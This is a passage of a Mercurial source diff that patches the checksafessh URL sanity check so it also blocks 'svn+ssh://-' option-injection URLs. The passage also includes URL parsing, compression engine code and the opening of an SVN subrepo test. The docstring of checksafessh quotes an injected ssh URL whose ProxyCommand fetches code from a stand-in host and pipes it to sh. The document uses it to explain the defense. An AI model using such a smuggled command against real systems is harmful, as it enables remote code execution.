         raise Abort(_("no port number associated with service '%s'") % port)
 
 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
              '0': False, 'no': False, 'false': False, 'off': False,
              'never': False}
 
 def parsebool(s):
     """Parse s into a boolean.
 
     If s is not a valid boolean, returns None.
     """
     return _booleans.get(s.lower(), None)
 
 _hextochr = dict((a + b, chr(int(a + b, 16)))
                  for a in string.hexdigits for b in string.hexdigits)
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url('http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url('ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url('file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url('file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url('bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url('bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(r'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(r'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(r'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(r'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url('ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url('ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url('http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url('')
     <url path: ''>
     >>> url('#a')
     <url path: '', fragment: 'a'>
     >>> url('http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url('http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url('http:')
     <url scheme: 'http'>
     """
 
     _safechars = "!~*'()+"
     _safepchars = "/!~*'()+:\\"
     _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = ''
         self._origpath = path
 
         if parsefragment and '#' in path:
             path, self.fragment = path.split('#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith('\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith('bundle:'):
             self.scheme = 'bundle'
             path = path[7:]
             if path.startswith('//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = ''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and '?' in path:
                 path, self.query = path.split('?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith('//'):
                 parts = path[2:].split('/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = '/' + path
 
             if self.host and '@' in self.host:
                 self.user, self.host = self.host.rsplit('@', 1)
                 if ':' in self.user:
                     self.user, self.passwd = self.user.split(':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (self.host and ':' in self.host and
                 not (self.host.startswith('[') and self.host.endswith(']'))):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(':', 1)
                 if not self.host:
                     self.host = None
 
             if (self.host and self.scheme == 'file' and
                 self.host not in ('localhost', '127.0.0.1', '[::1]')):
                 raise Abort(_('file:// URLs can only refer to localhost'))
 
         self.path = path
 
         # leave the query string escaped
         for a in ('user', 'passwd', 'host', 'port',
                   'path', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     def __repr__(self):
         attrs = []
         for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
                   'query', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 attrs.append('%s: %r' % (a, v))
         return '<url %s>' % ', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> str(url('http://localhost:80//'))
         'http://localhost:80//'
         >>> str(url('http://localhost:80/'))
         'http://localhost:80/'
         >>> str(url('http://localhost:80'))
         'http://localhost:80/'
         >>> str(url('bundle:foo'))
         'bundle:foo'
         >>> str(url('bundle://../foo'))
         'bundle:../foo'
         >>> str(url('path'))
         'path'
         >>> str(url('file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> str(url('file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print url(r'bundle:foo\bar')
         bundle:foo\bar
         >>> print url(r'file:///D:\data\hg')
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == 'bundle':
                 s = 'bundle:' + s
             if self.fragment:
                 s += '#' + self.fragment
             return s
 
         s = self.scheme + ':'
         if self.user or self.passwd or self.host:
             s += '//'
         elif self.scheme and (not self.path or self.path.startswith('/')
                               or hasdriveletter(self.path)):
             s += '//'
             if hasdriveletter(self.path):
                 s += '/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += '@'
         if self.host:
             if not (self.host.startswith('[') and self.host.endswith(']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += ':' + urlreq.quote(self.port)
         if self.host:
             s += '/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += '?' + self.query
         if self.fragment is not None:
             s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host),
                     self.user, self.passwd or ''))
 
     def isabs(self):
         if self.scheme and self.scheme != 'file':
             return True # remote URL
         if hasdriveletter(self.path):
             return True # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True # Windows UNC path
         if self.path.startswith('/'):
             return True # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == 'file' or self.scheme == 'bundle':
             path = self.path or '/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + '/' + self.path
             elif (self.host is not None and self.path
                   and not hasdriveletter(path)):
                 path = '/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (not self.scheme or self.scheme == 'file'
                 or self.scheme == 'bundle')
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 def hasdriveletter(path):
     return path and path[1:2] == ':' and path[0:1].isalpha()
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
-    if path.startswith('ssh://-') or '|' in path:
+    if (path.startswith('ssh://-') or path.startswith('svn+ssh://-')
+        or '|' in path):
         raise error.Abort(_('potentially unsafe url: %r') %
                           (path,))
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = '***'
     return bytes(u)
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return str(u)
 
 timecount = unitcountfn(
     (1, 1e3, _('%.0f s')),
     (100, 1, _('%.1f s')),
     (10, 1, _('%.2f s')),
     (1, 1, _('%.3f s')),
     (100, 0.001, _('%.1f ms')),
     (10, 0.001, _('%.2f ms')),
     (1, 0.001, _('%.3f ms')),
     (100, 0.000001, _('%.1f us')),
     (10, 0.000001, _('%.2f us')),
     (1, 0.000001, _('%.3f us')),
     (100, 0.000000001, _('%.1f ns')),
     (10, 0.000000001, _('%.2f ns')),
     (1, 0.000000001, _('%.3f ns')),
     )
 
 _timenesting = [0]
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         start = timer()
         indent = 2
         _timenesting[0] += indent
         try:
             return func(*args, **kwargs)
         finally:
             elapsed = timer() - start
             _timenesting[0] -= indent
             stderr.write('%s%s: %s\n' %
                          (' ' * _timenesting[0], func.__name__,
                           timecount(elapsed)))
     return wrapper
 
 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
               ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint('30')
     30
     >>> sizetoint('2.2kb')
     2252
     >>> sizetoint('6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[:-len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_("couldn't parse size: %s") % s)
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [(fileline % (fn, ln), func)
         for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
         ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 def debugstacktrace(msg='stacktrace', skip=0,
                     f=stderr, otherf=stdout, depth=0):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write('%s at:\n' % msg.rstrip())
     for line in getstackframes(skip + 1, depth=depth):
         f.write(line)
     f.flush()
 
 class dirs(object):
     '''a multiset of directory names from a dirstate or manifest'''
 
     def __init__(self, map, skip=None):
         self._dirs = {}
         addpath = self.addpath
         if safehasattr(map, 'iteritems') and skip is not None:
             for f, s in map.iteritems():
                 if s[0] != skip:
                     addpath(f)
         else:
             for f in map:
                 addpath(f)
 
     def addpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if base in dirs:
                 dirs[base] += 1
                 return
             dirs[base] = 1
 
     def delpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if dirs[base] > 1:
                 dirs[base] -= 1
                 return
             del dirs[base]
 
     def __iter__(self):
         return iter(self._dirs)
 
     def __contains__(self, d):
         return d in self._dirs
 
 if safehasattr(parsers, 'dirs'):
     dirs = parsers.dirs
 
 def finddirs(path):
     pos = path.rfind('/')
     while pos != -1:
         yield path[:pos]
         pos = path.rfind('/', 0, pos)
 
 # compression code
 
 SERVERROLE = 'server'
 CLIENTROLE = 'client'
 
 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
                                                (u'name', u'serverpriority',
                                                 u'clientpriority'))
 
 class compressormanager(object):
     """Holds registrations of various compression engines.
 
     This class essentially abstracts the differences between compression
     engines to allow new compression formats to be added easily, possibly from
     extensions.
 
     Compressors are registered against the global instance by calling its
     ``register()`` method.
     """
     def __init__(self):
         self._engines = {}
         # Bundle spec human name to engine name.
         self._bundlenames = {}
         # Internal bundle identifier to engine name.
         self._bundletypes = {}
         # Revlog header to engine name.
         self._revlogheaders = {}
         # Wire proto identifier to engine name.
         self._wiretypes = {}
 
     def __getitem__(self, key):
         return self._engines[key]
 
     def __contains__(self, key):
         return key in self._engines
 
     def __iter__(self):
         return iter(self._engines.keys())
 
     def register(self, engine):
         """Register a compression engine with the manager.
 
         The argument must be a ``compressionengine`` instance.
         """
         if not isinstance(engine, compressionengine):
             raise ValueError(_('argument must be a compressionengine'))
 
         name = engine.name()
 
         if name in self._engines:
             raise error.Abort(_('compression engine %s already registered') %
                               name)
 
         bundleinfo = engine.bundletype()
         if bundleinfo:
             bundlename, bundletype = bundleinfo
 
             if bundlename in self._bundlenames:
                 raise error.Abort(_('bundle name %s already registered') %
                                   bundlename)
             if bundletype in self._bundletypes:
                 raise error.Abort(_('bundle type %s already registered by %s') %
                                   (bundletype, self._bundletypes[bundletype]))
 
             # No external facing name declared.
             if bundlename:
                 self._bundlenames[bundlename] = name
 
             self._bundletypes[bundletype] = name
 
         wiresupport = engine.wireprotosupport()
         if wiresupport:
             wiretype = wiresupport.name
             if wiretype in self._wiretypes:
                 raise error.Abort(_('wire protocol compression %s already '
                                     'registered by %s') %
                                   (wiretype, self._wiretypes[wiretype]))
 
             self._wiretypes[wiretype] = name
 
         revlogheader = engine.revlogheader()
         if revlogheader and revlogheader in self._revlogheaders:
             raise error.Abort(_('revlog header %s already registered by %s') %
                               (revlogheader, self._revlogheaders[revlogheader]))
 
         if revlogheader:
             self._revlogheaders[revlogheader] = name
 
         self._engines[name] = engine
 
     @property
     def supportedbundlenames(self):
         return set(self._bundlenames.keys())
 
     @property
     def supportedbundletypes(self):
         return set(self._bundletypes.keys())
 
     def forbundlename(self, bundlename):
         """Obtain a compression engine registered to a bundle name.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundlenames[bundlename]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forbundletype(self, bundletype):
         """Obtain a compression engine registered to a bundle type.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundletypes[bundletype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def supportedwireengines(self, role, onlyavailable=True):
         """Obtain compression engines that support the wire protocol.
 
         Returns a list of engines in prioritized order, most desired first.
 
         If ``onlyavailable`` is set, filter out engines that can't be
         loaded.
         """
         assert role in (SERVERROLE, CLIENTROLE)
 
         attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
 
         engines = [self._engines[e] for e in self._wiretypes.values()]
         if onlyavailable:
             engines = [e for e in engines if e.available()]
 
         def getkey(e):
             # Sort first by priority, highest first. In case of tie, sort
             # alphabetically. This is arbitrary, but ensures output is
             # stable.
             w = e.wireprotosupport()
             return -1 * getattr(w, attr), w.name
 
         return list(sorted(engines, key=getkey))
 
     def forwiretype(self, wiretype):
         engine = self._engines[self._wiretypes[wiretype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forrevlogheader(self, header):
         """Obtain a compression engine registered to a revlog header.
 
         Will raise KeyError if the revlog header value isn't registered.
         """
         return self._engines[self._revlogheaders[header]]
 
 compengines = compressormanager()
 
 class compressionengine(object):
     """Base class for compression engines.
 
     Compression engines must implement the interface defined by this class.
     """
     def name(self):
         """Returns the name of the compression engine.
 
         This is the key the engine is registered under.
 
         This method must be implemented.
         """
         raise NotImplementedError()
 
     def available(self):
         """Whether the compression engine is available.
 
         The intent of this method is to allow optional compression engines
         that may not be available in all installations (such as engines relying
         on C extensions that may not be present).
         """
         return True
 
     def bundletype(self):
         """Describes bundle identifiers for this engine.
 
         If this compression engine isn't supported for bundles, returns None.
 
         If this engine can be used for bundles, returns a 2-tuple of strings of
         the user-facing "bundle spec" compression name and an internal
         identifier used to denote the compression format within bundles. To
         exclude the name from external usage, set the first element to ``None``.
 
         If bundle compression is supported, the class must also implement
         ``compressstream`` and `decompressorreader``.
 
         The docstring of this method is used in the help system to tell users
         about this engine.
         """
         return None
 
     def wireprotosupport(self):
         """Declare support for this compression format on the wire protocol.
 
         If this compression engine isn't supported for compressing wire
         protocol payloads, returns None.
 
         Otherwise, returns ``compenginewireprotosupport`` with the following
         fields:
 
         * String format identifier
         * Integer priority for the server
         * Integer priority for the client
 
         The integer priorities are used to order the advertisement of format
         support by server and client. The highest integer is advertised
         first. Integers with non-positive values aren't advertised.
 
         The priority values are somewhat arbitrary and only used for default
         ordering. The relative order can be changed via config options.
 
         If wire protocol compression is supported, the class must also implement
         ``compressstream`` and ``decompressorreader``.
         """
         return None
 
     def revlogheader(self):
         """Header added to revlog chunks that identifies this engine.
 
         If this engine can be used to compress revlogs, this method should
         return the bytes used to identify chunks compressed with this engine.
         Else, the method should return ``None`` to indicate it does not
         participate in revlog compression.
         """
         return None
 
     def compressstream(self, it, opts=None):
         """Compress an iterator of chunks.
 
         The method receives an iterator (ideally a generator) of chunks of
         bytes to be compressed. It returns an iterator (ideally a generator)
         of bytes of chunks representing the compressed output.
 
         Optionally accepts an argument defining how to perform compression.
         Each engine treats this argument differently.
         """
         raise NotImplementedError()
 
     def decompressorreader(self, fh):
         """Perform decompression on a file object.
 
         Argument is an object with a ``read(size)`` method that returns
         compressed data. Return value is an object with a ``read(size)`` that
         returns uncompressed data.
         """
         raise NotImplementedError()
 
     def revlogcompressor(self, opts=None):
         """Obtain an object that can be used to compress revlog entries.
 
         The object has a ``compress(data)`` method that compresses binary
         data. This method returns compressed binary data or ``None`` if
         the data could not be compressed (too small, not compressible, etc).
         The returned data should have a header uniquely identifying this
         compression format so decompression can be routed to this engine.
         This header should be identified by the ``revlogheader()`` return
         value.
 
         The object has a ``decompress(data)`` method that decompresses
         data. The method will only be called if ``data`` begins with
         ``revlogheader()``. The method should return the raw, uncompressed
         data or raise a ``RevlogError``.
 
         The object is reusable but is not thread safe.
         """
         raise NotImplementedError()
 
 class _zlibengine(compressionengine):
     def name(self):
         return 'zlib'
 
     def bundletype(self):
         """zlib compression using the DEFLATE algorithm.
 
         All Mercurial clients should support this format. The compression
         algorithm strikes a reasonable balance between compression ratio
         and size.
         """
         return 'gzip', 'GZ'
 
     def wireprotosupport(self):
         return compewireprotosupport('zlib', 20, 20)
 
     def revlogheader(self):
         return 'x'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
 
         z = zlib.compressobj(opts.get('level', -1))
         for chunk in it:
             data = z.compress(chunk)
             # Not all calls to compress emit data. It is cheaper to inspect
             # here than to feed empty chunks through generator.
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = zlib.decompressobj()
             for chunk in filechunkiter(fh):
                 while chunk:
                     # Limit output size to limit memory.
                     yield d.decompress(chunk, 2 ** 18)
                     chunk = d.unconsumed_tail
 
         return chunkbuffer(gen())
 
     class zlibrevlogcompressor(object):
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 44:
                 return None
 
             elif insize <= 1000000:
                 compressed = zlib.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
 
             # zlib makes an internal copy of the input buffer, doubling
             # memory usage for large inputs. So do streaming compression
             # on large inputs.
             else:
                 z = zlib.compressobj()
                 parts = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + 2**20
                     parts.append(z.compress(data[pos:pos2]))
                     pos = pos2
                 parts.append(z.flush())
 
                 if sum(map(len, parts)) < insize:
                     return ''.join(parts)
                 return None
 
         def decompress(self, data):
             try:
                 return zlib.decompress(data)
             except zlib.error as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         str(e))
 
     def revlogcompressor(self, opts=None):
         return self.zlibrevlogcompressor()
 
 compengines.register(_zlibengine())
 
 class _bz2engine(compressionengine):
     def name(self):
         return 'bz2'
 
     def bundletype(self):
         """An algorithm that produces smaller bundles than ``gzip``.
 
         All Mercurial clients should support this format.
 
         This engine will likely produce smaller bundles than ``gzip`` but
         will be significantly slower, both during compression and
         decompression.
 
         If available, the ``zstd`` engine can yield similar or better
         compression at much higher speeds.
         """
         return 'bzip2', 'BZ'
 
     # We declare a protocol name but don't advertise by default because
     # it is slow.
     def wireprotosupport(self):
         return compewireprotosupport('bzip2', 0, 0)
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         z = bz2.BZ2Compressor(opts.get('level', 9))
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = bz2.BZ2Decompressor()
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_bz2engine())
 
 class _truncatedbz2engine(compressionengine):
     def name(self):
         return 'bz2truncated'
 
     def bundletype(self):
         return None, '_truncatedBZ'
 
     # We don't implement compressstream because it is hackily handled elsewhere.
 
     def decompressorreader(self, fh):
         def gen():
             # The input stream doesn't have the 'BZ' header. So add it back.
             d = bz2.BZ2Decompressor()
             d.decompress('BZ')
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_truncatedbz2engine())
 
 class _noopengine(compressionengine):
     def name(self):
         return 'none'
 
     def bundletype(self):
         """No compression is performed.
 
         Use this compression engine to explicitly disable compression.
         """
         return 'none', 'UN'
 
     # Clients always support uncompressed payloads. Servers don't because
     # unless you are on a fast network, uncompressed payloads can easily
     # saturate your network pipe.
     def wireprotosupport(self):
         return compewireprotosupport('none', 0, 10)
 
     # We don't implement revlogheader because it is handled specially
     # in the revlog class.
 
     def compressstream(self, it, opts=None):
         return it
 
     def decompressorreader(self, fh):
         return fh
 
     class nooprevlogcompressor(object):
         def compress(self, data):
             return None
 
     def revlogcompressor(self, opts=None):
         return self.nooprevlogcompressor()
 
 compengines.register(_noopengine())
 
 class _zstdengine(compressionengine):
     def name(self):
         return 'zstd'
 
     @propertycache
     def _module(self):
         # Not all installs have the zstd module available. So defer importing
         # until first access.
         try:
             from . import zstd
             # Force delayed import.
             zstd.__version__
             return zstd
         except ImportError:
             return None
 
     def available(self):
         return bool(self._module)
 
     def bundletype(self):
         """A modern compression algorithm that is fast and highly flexible.
 
         Only supported by Mercurial 4.1 and newer clients.
 
         With the default settings, zstd compression is both faster and yields
         better compression than ``gzip``. It also frequently yields better
         compression than ``bzip2`` while operating at much higher speeds.
 
         If this engine is available and backwards compatibility is not a
         concern, it is likely the best available engine.
         """
         return 'zstd', 'ZS'
 
     def wireprotosupport(self):
         return compewireprotosupport('zstd', 50, 50)
 
     def revlogheader(self):
         return '\x28'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         # zstd level 3 is almost always significantly faster than zlib
         # while providing no worse compression. It strikes a good balance
         # between speed and compression.
         level = opts.get('level', 3)
 
         zstd = self._module
         z = zstd.ZstdCompressor(level=level).compressobj()
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         zstd = self._module
         dctx = zstd.ZstdDecompressor()
         return chunkbuffer(dctx.read_from(fh))
 
     class zstdrevlogcompressor(object):
         def __init__(self, zstd, level=3):
             # Writing the content size adds a few bytes to the output. However,
             # it allows decompression to be more optimal since we can
             # pre-allocate a buffer to hold the result.
             self._cctx = zstd.ZstdCompressor(level=level,
                                              write_content_size=True)
             self._dctx = zstd.ZstdDecompressor()
             self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
             self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
 
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 50:
                 return None
 
             elif insize <= 1000000:
                 compressed = self._cctx.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
             else:
                 z = self._cctx.compressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._compinsize
                     chunk = z.compress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 chunks.append(z.flush())
 
                 if sum(map(len, chunks)) < insize:
                     return ''.join(chunks)
                 return None
 
         def decompress(self, data):
             insize = len(data)
 
             try:
                 # This was measured to be faster than other streaming
                 # decompressors.
                 dobj = self._dctx.decompressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._decompinsize
                     chunk = dobj.decompress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 # Frame should be exhausted, so no finish() API.
 
                 return ''.join(chunks)
             except Exception as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         str(e))
 
     def revlogcompressor(self, opts=None):
         opts = opts or {}
         return self.zstdrevlogcompressor(self._module,
                                          level=opts.get('level', 3))
 
 compengines.register(_zstdengine())
 
 def bundlecompressiontopics():
     """Obtains a list of available bundle compressions for use in help."""
     # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
     items = {}
 
     # We need to format the docstring. So use a dummy object/type to hold it
     # rather than mutating the original.
     class docobject(object):
         pass
 
     for name in compengines:
         engine = compengines[name]
 
         if not engine.available():
             continue
 
         bt = engine.bundletype()
         if not bt or not bt[0]:
             continue
 
         doc = pycompat.sysstr('``%s``\n    %s') % (
             bt[0], engine.bundletype.__doc__)
 
         value = docobject()
         value.__doc__ = doc
 
         items[bt[0]] = value
 
     return items
 
 # convenient shortcut
 dst = debugstacktrace

tests/test-subrepo-svn.t

@@ -1,641 +1,705 b''
 #require svn15
 
   $ SVNREPOPATH=`pwd`/svn-repo
 #if windows
   $ SVNREPOURL=file:///`$PYTHON -c "import urllib, sys; sys.stdout.write(urllib.quote(sys.argv[1]))" "$SVNREPOPATH"`
 #else
   $ SVNREPOURL=file://`$PYTHON -c "import urllib, sys; sys.stdout.write(urllib.quote(sys.argv[1]))" "$SVNREPOPATH"`
 #endif
 
   $ filter_svn_output () {
   >     egrep -v 'Committing|Transmitting|Updating|(^$)' || true
   > }
 
 create subversion repo
 
   $ WCROOT="`pwd`/svn-wc"
   $ svnadmin create svn-repo
   $ svn co "$SVNREPOURL" svn-wc
   Checked out revision 0.
   $ cd svn-wc
   $ mkdir src
   $ echo alpha > src/alpha
   $ svn add src
   A         src
   A         src/alpha (glob)
   $ mkdir externals
   $ echo other > externals/other
   $ svn add externals
   A         externals
   A         externals/other (glob)
   $ svn ci -qm 'Add alpha'
   $ svn up -q
   $ echo "externals -r1 $SVNREPOURL/externals" > extdef
   $ svn propset -F extdef svn:externals src
   property 'svn:externals' set on 'src'
   $ svn ci -qm 'Setting externals'
   $ cd ..
 
 create hg repo
 
   $ mkdir sub
   $ cd sub
   $ hg init t
   $ cd t
 
 first revision, no sub
 
   $ echo a > a
   $ hg ci -Am0
   adding a
 
 add first svn sub with leading whitespaces
 
   $ echo "s =        [svn]       $SVNREPOURL/src" >> .hgsub
   $ echo "subdir/s = [svn]       $SVNREPOURL/src" >> .hgsub
   $ svn co --quiet "$SVNREPOURL"/src s
   $ mkdir subdir
   $ svn co --quiet "$SVNREPOURL"/src subdir/s
   $ hg add .hgsub
   $ hg ci -m1
 
 make sure we avoid empty commits (issue2445)
 
   $ hg sum
   parent: 1:* tip (glob)
    1
   branch: default
   commit: (clean)
